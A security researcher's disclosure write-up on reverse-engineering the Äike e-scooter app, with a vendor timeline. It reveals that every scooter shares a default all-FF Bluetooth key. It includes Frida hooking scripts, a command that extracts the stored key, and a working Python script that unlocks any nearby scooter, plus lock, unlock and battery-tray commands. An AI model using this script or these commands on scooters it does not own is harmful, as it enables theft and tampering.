Reverse engineering my cloud-connected e-scooter and finding the master key to unlock all scooters

A few years ago, I decided to buy an electric scooter for commuting in the city. I had already been using rental scooters for a while, but got tired of having to "hunt" for one or realizing there isn't one near my apartment building when I wanted to go to work in the morning.

I decided to go with an Äike T. This wasn't because it was necessarily better than the competitors' products. In fact, the scooter was fairly expensive, and at that price point, there were certainly scooters on the market that were technically superior.

However, I went with the Äike because it was a local product and I like to support local companies whenever possible. Äike (meaning "lightning" in Estonian) was designed and manufactured in Estonia, right here in Tallinn. From what I could tell, they also didn't use many off-the-shelf components. The design was fully custom, the IoT module used in the scooter was also locally produced, they had their own battery pack, and so on. This isn't necessarily a good thing because it hurts the maintainability of the scooter, but I found their product ambitious.

Another reason was that they had a sister company Tuul (meaning "wind" in Estonian) which offered rental scooters. These scooters were also just Äike scooters, and out of all of the competitors, I enjoyed the ride that Tuul/Äike offered the most and used their rental service whenever possible.

Äike went bankrupt last year. While this is unfortunate as in the long term, it'll become increasingly harder to source replacement components due to all of them being custom, I started having much more immediate concerns regarding the usability of my scooter. The scooter does not have a manual start-stop function. Starting and stopping, unlocking the battery tray, setting it into transport mode, etc is all done via their app.

The app is, of course, connected to the "cloud". Some of the features had already stopped working or been shut down (live tracking on the map, tracking ride length history, etc). Other features relying on the "cloud" seemed to still be working. I was uncertain whether at one point, I would not be able to use the app at all, thus locking me out of my own scooter entirely. This motivated me to start reverse engineering the scooter and its app to see if I couldn't make a third party app to communicate with the scooter.

My first step was to start reverse engineering the Android app. Soon after I started, I realized there was a critical security issue in the scooter which allowed me to not only unlock and control my own scooter, but any Äike scooter at all.

Reverse engineering setup

The app is written in React Native. There's two ways how you can compile React Native apps.

The older method bundled a JavaScript file in the app, and was interpreted by React Native's JavaScript engine when the app was executed. Although minified, the JavaScript file is fairly readable and reverse engineering the functionality is not complex - the more challenging part is reverse engineering any native modules or Java/Kotlin glue. Modifying the JavaScript to run custom code for instrumentation is trivial.

The newer method compiles the JavaScript code into React Native's own bytecode, which will be executed by RN's VM called Hermes. In this scenario, the complexity is turned upside down. Hermes bytecode is not well-understood and the tooling for reverse engineering apps built using this newer method is lackluster. This is especially true considering how powerful modern decompilers for Java/Kotlin are, meaning that the glue classes is the more easily understood compiled code here.

The Äike app was compiled using the newer method. This was unfortunate as it was far more challenging to reverse engineer the app as I had hoped, but also fortunate because I enjoy a good challenge.

Hermes bytecode doesn't have good decompilers that spit out code. There have been a few projects that have tried to tackle this, but the output they produce is quite noisy and not very readable. In the end, I mostly used Pilfer's hermes_rs project, as it was the most state-of-the-art project and I felt comfortable working with the Rust code.

While React Native was used for a lot of the functionality, it had to call native Android functions at one point. I knew this to be especially true as the app uses Bluetooth to communicate with the scooter (besides "the cloud"), and in order to do anything with Bluetooth in Android, you of course have to use native OS functionality. For this, the app used some Kotlin glue code. My Java decompiler of choice is Vineflower and this managed to decompile the code I was interested in into a fairly readable output.

I realized that the Kotlin code was used merely as a "bridge" to speak to the OS, and the actual logic was in the Hermes bytecode. This made me rely fairly heavily on Frida to sniff the Bluetooth communication at runtime. From inspecting the decompiled code, I knew that most of the Bluetooth communication was performed over BLE GATT characteristics. I won't go into detail on how GATT characteristics work here (if you're interested, have a look at ERNW's recent security research into Bluetooth headphones). What's important to know is that we can sniff and modify this traffic using Frida fairly easily.

Android exposes the Java classes android.bluetooth.BluetoothGatt and android.bluetooth.BluetoothGattCallback that apps are expected to use to use GATT characteristics. We can use Frida to hook into these and override many of the interesting functions.

I was mostly interested in reads, writes and GATT notifications, so I whipped up a Frida script to hook into these and print all comms to the console:

Java.perform(function() {
  var BluetoothGatt = Java.use("android.bluetooth.BluetoothGatt");

  // connection events
  BluetoothGatt.disconnect.implementation = function() {
    console.log("\n*** [GATT] DISCONNECTING ***");
    return this.disconnect();
  };

  // writes
  BluetoothGatt.writeCharacteristic.overload('android.bluetooth.BluetoothGattCharacteristic').implementation = function(characteristic) {
    console.log("\n>>> [COMMAND] Writing characteristic");
    var uuid = characteristic.getUuid();
    var value = characteristic.getValue();
    console.log("    UUID: " + uuid);
    console.log("    Value: " + bytesToHex(value));
    console.log("    ASCII: " + bytesToAscii(value));
    return this.writeCharacteristic(characteristic);
  };

  BluetoothGatt.writeCharacteristic.overload('android.bluetooth.BluetoothGattCharacteristic', '[B', 'int').implementation = function(characteristic, value, writeType) {
    console.log("\n>>> [COMMAND] Writing characteristic");
    var uuid = characteristic.getUuid();
    console.log("    UUID: " + uuid);
    console.log("    Value: " + bytesToHex(value));
    console.log("    ASCII: " + bytesToAscii(value));
    console.log("    Write Type: " + writeType);
    return this.writeCharacteristic(characteristic, value, writeType);
  };

  var BluetoothGattCallback = Java.use("android.bluetooth.BluetoothGattCallback");

  // connection state changes
  BluetoothGattCallback.onConnectionStateChange.overload('android.bluetooth.BluetoothGatt', 'int', 'int').implementation = function(gatt, status, newState) {
    console.log("\n*** [CONNECTION] State changed: " + getConnectionState(newState) + " (status: " + status + ") ***");
    return this.onConnectionStateChange(gatt, status, newState);
  };

  // characteristic reads
  BluetoothGattCallback.onCharacteristicRead.overload('android.bluetooth.BluetoothGatt', 'android.bluetooth.BluetoothGattCharacteristic', 'int').implementation = function(gatt, characteristic, status) {
    console.log("\n<<< [RESPONSE] Characteristic read");
    var uuid = characteristic.getUuid();
    var value = characteristic.getValue();
    console.log("    UUID: " + uuid);
    console.log("    Status: " + status);
    console.log("    Value: " + bytesToHex(value));
    console.log("    ASCII: " + bytesToAscii(value));
    return this.onCharacteristicRead(gatt, characteristic, status);
  };

  BluetoothGattCallback.onCharacteristicRead.overload('android.bluetooth.BluetoothGatt', 'android.bluetooth.BluetoothGattCharacteristic', '[B', 'int').implementation = function(gatt, characteristic, value, status) {
    console.log("\n<<< [RESPONSE] Characteristic read");
    var uuid = characteristic.getUuid();
    console.log("    UUID: " + uuid);
    console.log("    Status: " + status);
    console.log("    Value: " + bytesToHex(value));
    console.log("    ASCII: " + bytesToAscii(value));
    return this.onCharacteristicRead(gatt, characteristic, value, status);
  };

  // notifications
  BluetoothGattCallback.onCharacteristicChanged.overload('android.bluetooth.BluetoothGatt', 'android.bluetooth.BluetoothGattCharacteristic').implementation = function(gatt, characteristic) {
    console.log("\n<<< [NOTIFICATION] Device data");
    var uuid = characteristic.getUuid();
    var value = characteristic.getValue();
    console.log("    UUID: " + uuid);
    console.log("    Value: " + bytesToHex(value));
    console.log("    ASCII: " + bytesToAscii(value));
    console.log("    Length: " + (value ? value.length : 0) + " bytes");
    return this.onCharacteristicChanged(gatt, characteristic);
  };

  BluetoothGattCallback.onCharacteristicChanged.overload('android.bluetooth.BluetoothGatt', 'android.bluetooth.BluetoothGattCharacteristic', '[B').implementation = function(gatt, characteristic, value) {
    console.log("\n<<< [NOTIFICATION] Device data (with value)");
    var uuid = characteristic.getUuid();
    console.log("    UUID: " + uuid);
    console.log("    Value: " + bytesToHex(value));
    console.log("    ASCII: " + bytesToAscii(value));
    console.log("    Length: " + (value ? value.length : 0) + " bytes");
    return this.onCharacteristicChanged(gatt, characteristic, value);
  };
});

Authentication

After getting my testing environment more or less set up, I started going through the different functionalities of the app to figure out how communication works. By sniffing how the app connects to the scooter, I observed the following flow:

  1. The app connects to the scooter.
  2. The app reads the characteristic 00002556-1212-efde-1523-785feabcd123. This contains a random 20-byte value.
  3. The app writes a different 20-byte value to the characteristic 00002557-1212-efde-1523-785feabcd123.
  4. The app proceeds with writing commands to the characteristic 0000155f-1212-efde-1523-785feabcd123. This is where it would send the lock and unlock commands, the battery tray opening command, etc.
  5. The app disconnects (when closed). Further connections start from step 1 again.

Steps 2 and 3 seemed to be a challenge-response authentication of some sort. Without doing those steps first, I couldn't simply skip to step 4 and start sending commands to the scooter as they would be rejected.

The 20-byte value had me suspecting that SHA-1 was somehow being used. To confirm, I wrote another Frida script that hooks Android hashing functions exposed by the Java class java.security.MessageDigest:

Java.perform(function() {
  var MessageDigest = Java.use("java.security.MessageDigest");

  MessageDigest.getInstance.overload('java.lang.String').implementation = function(algorithm) {
    console.log("\n[HASH] MessageDigest.getInstance called");
    console.log("  Algorithm: " + algorithm);
    return this.getInstance(algorithm);
  };

  MessageDigest.update.overload('[B').implementation = function(input) {
    console.log("\n[HASH] MessageDigest.update called");
    console.log("  Input: " + bytesToHex(input));
    return this.update(input);
  };

  MessageDigest.digest.overload().implementation = function() {
    console.log("\n[HASH] MessageDigest.digest called");
    var result = this.digest();
    console.log("  Output: " + bytesToHex(result));
    return result;
  };

  MessageDigest.digest.overload('[B').implementation = function(input) {
    console.log("\n[HASH] MessageDigest.digest called");
    console.log("  Input: " + bytesToHex(input));
    var result = this.digest(input);
    console.log("  Output: " + bytesToHex(result));
    return result;
  };
});

With both Frida scripts running, my suspicion was confirmed:

[BLE READ] UUID: 00002556-1212-efde-1523-785feabcd123
  Value: 93 2E ED 37 8C A9 33 BB B8 42 FB 0A B8 6F F0 1D 74 48 AD F2

[HASH] MessageDigest.getInstance called
  Algorithm: SHA-1

[HASH] MessageDigest.update called
  Input: 93 2E ED 37 8C A9 33 BB B8 42 FB 0A B8 6F F0 1D 74 48 AD F2 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF

[HASH] MessageDigest.digest called
  Output: A7 6B BF 7D 04 CA 93 0B 78 84 F9 75 07 07 74 57 78 DE 4E E6

[BLE WRITE] UUID: 00002557-1212-efde-1523-785feabcd123
  Value: A7 6B BF 7D 04 CA 93 0B 78 84 F9 75 07 07 74 57 78 DE 4E E6

The challenge value read from the 2556 characteristic was concatenated with 20 bytes of FF, and the resulting hash was written to the 2557 characteristic. But where did this FF value come from?

The app uses Firebase for most of its cloud functionality. When signing in and pairing your scooter, the server sends the app a secret key. This is stored on the Android device, and can be read with root access:

sqlite3 \
  ./data/data/com.comodule.tuul.personal/databases/firestore.%5BDEFAULT%5D.coscooter-eu.%28default%29 \
  "SELECT base64(contents) FROM remote_documents WHERE path = 'vehicles' || char(1) || char(1) || 'a1ce1d929129894c' || char(1) || char(1)" \
  | base64 -d | protoc --decode_raw

Output:

2 {
  1: "projects/coscooter-eu/databases/(default)/documents/vehicles/a1ce1d929129894c"
  2 {
    1: "connected"
    2 {
      1: 0
    }
  }
...
  2 {
    1: "blePrivateKey"
    2 {
      17: "ffffffffffffffff"
    }
  }
...

As is shown in the output, the blePrivateKey value is ffffffffffffffff.

I suspected that this was meant to be unique between each scooter. This was also indicated by the software SDK for the IoT modules used in these scooters - in fact, the FF key was the default value in the SDK, which developers were expected to change. This was confirmed by a representative of the company who produces these modules when I reported this issue to them. Apparently, the Äike development team had neglected to set a different key for each scooter, and the blank FF key was used for each scooter.

From what I've observed, Tuul rental scooters do not seem to have Bluetooth enabled and thus are not vulnerable to this issue.

Proof of concept

Knowing all of this, it's actually fairly simple to authenticate to any Äike scooter in the vicinity and start sending commands to it. I wrote a proof-of-concept Python script that does exactly that - first, it authenticates to any discovered scooters using the default FF key, and then it sends a command to unlock the scooter. It requires Python 3 and the bleak Bluetooth library to run.

#!/usr/bin/env python3

import asyncio
import hashlib
from bleak import BleakClient, BleakScanner

CHALLENGE_UUID = "00002556-1212-efde-1523-785feabcd123"
RESPONSE_UUID  = "00002557-1212-efde-1523-785feabcd123"
COMMAND_UUID   = "0000155f-1212-efde-1523-785feabcd123"


def aike_filter(device, _):
  return device.name and device.name in ["AIKE", "AIKE_T", "AIKE_11"]

async def main():
  # scan & connect
  device = await BleakScanner.find_device_by_filter(aike_filter, timeout=10.0)
  if device is None:
    print("No Äike device found")
    return

  client = BleakClient(device.address)
  await client.connect()

  # authenticate
  challenge = await client.read_gatt_char(CHALLENGE_UUID)
  response = hashlib.sha1(challenge + b'\xFF' * 20).digest()
  await client.write_gatt_char(RESPONSE_UUID, response, response=False)

  # send unlock command
  cmd = bytes([0x00, 0xD4, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
  await client.write_gatt_char(COMMAND_UUID, cmd, response=False)
  await asyncio.sleep(0.5)

  await client.disconnect()

if __name__ == "__main__":
  asyncio.run(main())

Further reverse engineering

Of course, I didn't want to merely connect and authenticate to the scooter, I also wanted to be able to send commands to it and communicate with it.

By doing some more reverse engineering and dynamic analysis, I discovered that the command messages (written to characteristic 0000155f-1212-efde-1523-785feabcd123) generally adhere to the following 10-byte structure:

OffsetDescription
0Header byte 1 (always 0x00)
1Registry ID - typically 0xD4 for commands
2Reserved (0x00)
3Command ID
4Reserved (0x00)
5Reserved (0x00)
6Reserved (0x00)
7Parameter value
8Reserved (0x00)
9Reserved (0x00)

For example, the unlock command (0x01) with no parameter would be:

00 D4 00 01 00 00 00 00 00 00

Setting the scooter into "transport mode" is an exception - it uses a different registry (0xD2) and structure:

OffsetValueDescription
00x00Header
10xD2Transport registry
20x1BTransport-specific
30x1ETransport-specific
40x3CTransport-specific
50x01Transport-specific
6-70x00Reserved
8State0x01 = enable, 0x00 = disable
90x00Reserved

The commands themselves are:

CommandIDParameterExample
Unlock0x010x0000 D4 00 01 00 00 00 00 00 00
Lock0x020x0000 D4 00 02 00 00 00 00 00 00
Set Eco Mode0x030x00 = off, 0x01 = on00 D4 00 03 00 00 00 01 00 00
Open Battery Tray0x040x0000 D4 00 04 00 00 00 00 00 00
Set Auto-lock Timer0x06Minutes (0x00-0xFF)00 D4 00 06 00 00 00 0F 00 00 (15 min)
Set Auto-brake0x070x00 = off, 0x01 = on00 D4 00 07 00 00 00 01 00 00

The scooter also sends notifications on characteristic 0000155e-1212-efde-1523-785feabcd123. The notifications contain information on the state of the scooter (battery level, range, lock/unlock events, etc).

Each notification starts with a 2-byte registry ID followed by the payload data.

Registry IDNamePayload Format
0x00C0Battery Level1 byte: percentage (0-100)
0x00C1Lock Status1 byte: 0x01 = locked, 0x00 = unlocked
0x00C2Battery TelemetryExtended battery statistics?
0x00C6Eco Mode1 byte: 0x01 = enabled, 0x00 = disabled
0x00D4Command StatusCommand acknowledgement
0x01A2Settings Pack8-byte settings structure
0x03C1Battery Voltage2 bytes big-endian: millivolts
0xFCFCFirmware InfoFirmware version information

The settings pack (0x01A2) has the following payload structure:

OffsetDescription
0-1Unknown (possibly scooter model or hardware revision)
2Auto-lock timer in minutes (0x00 = disabled)
3Auto-brake: 0x01 = enabled, 0x00 = disabled
4Unknown
5Eco mode: 0x01 = enabled, 0x00 = disabled
6Transport mode: 0x01 = enabled, 0x00 = disabled
7Unknown

It's also possible to manually read notification values by writing the 2-byte registry ID to characteristic 00001564-1212-efde-1523-785feabcd123, then reading the response from 0000155f-1212-efde-1523-785feabcd123. The response is 10 bytes: the first 2 bytes echo the registry ID, followed by 8 bytes of payload.

Disclosure

Reporting this was complicated by the fact that Äike no longer exists. I reached out to the IoT module company in September 2025, who confirmed the FF key was a default that should have been changed per-device.

I've since written my own app to control my scooter both from my phone and from my smartwatch, which was not previously possible. At least now I don't have to worry about cloud servers going offline.

Timeline

  • 13/09/2025 - attempted to contact IoT module vendor for responsible disclosure contacts
  • 19/09/2025 - initial vendor response
  • 19/09/2025 - sent vendor write-up detailing vulnerability
  • 22/09/2025 - vendor response confirming that the default key should've been changed by the client (Äike)
  • 06/01/2026 - published write-up
Rasmus Moorats

Author | Rasmus Moorats

Ethical Hacking and Cybersecurity professional with a special interest for hardware hacking, embedded devices, and Linux.